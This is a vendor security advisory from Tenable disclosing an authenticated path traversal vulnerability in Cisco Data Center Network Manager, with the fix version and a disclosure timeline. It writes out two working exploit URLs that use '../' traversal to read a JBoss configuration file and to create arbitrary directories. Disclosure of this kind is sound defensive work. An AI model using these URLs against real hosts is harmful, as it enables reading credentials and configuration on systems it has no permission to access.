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[R2] Cisco Data Center Network Manager Authenticated Path Traversal

Medium

Synopsis

While developing a Nessus plugin for CVE-2018-0258 Tenable discovered an authenticated path traversal vulnerability in Cisco Data Center Network Manager (DCNM). The vulnerability allows a remote authenticated attacker to read arbitrary files and create arbitrary directories on the DCNM hosts.

The path traversal logic can be found in the xct.components.services.smart.data.download.SampleFileDownloadServlet servlet in dcnmweb.war. The servlet is used by the Download endpoint. An attacker can use the following URL to download files:

https://<cisco_dcnm_host>/Download?svc=samplefile&downloadLocation=../../../../../../../../Program%20Files/Cisco%20Systems/dcm/jboss-as-7.2.0.Final/standalone/configuration&downloadFiles=standalone-san.xml

And the following URL to create directories:

https://<cisco_dcnm_host>/Download?svc=samplefile&downloadLocation=../../../../../../../../folder&downloadFiles=standalone-san.xml

Solution

Upgrade to Cisco Data Center Network Manager 11.0.1

Additional References

https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20180828-dcnm-traversal
https://bst.cloudapps.cisco.com/bugsearch/bug/CSCvj86072

Disclosure Timeline

06-07-2018 - Vulnerability reported to Cisco via encrypted email.
06-08-2018 - Cisco acknowledges receipt of the vulnerability write up and assigns PSIRT-0553713140.
07-25-2018 - Tenable asks for an update.
07-25-2018 - Cisco responds that the vulnerability owner has been directed to update Tenable.
07-30-2018 - Cisco indicates the bug has been fixed by development. Awaiting to hear about the release date.
07-31-2018 - Tenable requests the patch.
08-02-2018 - Cisco responds that the fix was published in 11.0.1. Tenable discovers this was released on July 11th.
08-08-2018 - Tenable notes the bug fix does not appear in an advisory or release notes. Tenable also asks why they weren't notified of the release.
08-13-2018 - Cisco says advisory will be released on 10/3.
08-20-2018 - Tenable analyzes 11.0.1 and confirms the vulnerability is fixed.

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Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order.

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If you have questions or corrections about this advisory, please email [email protected]

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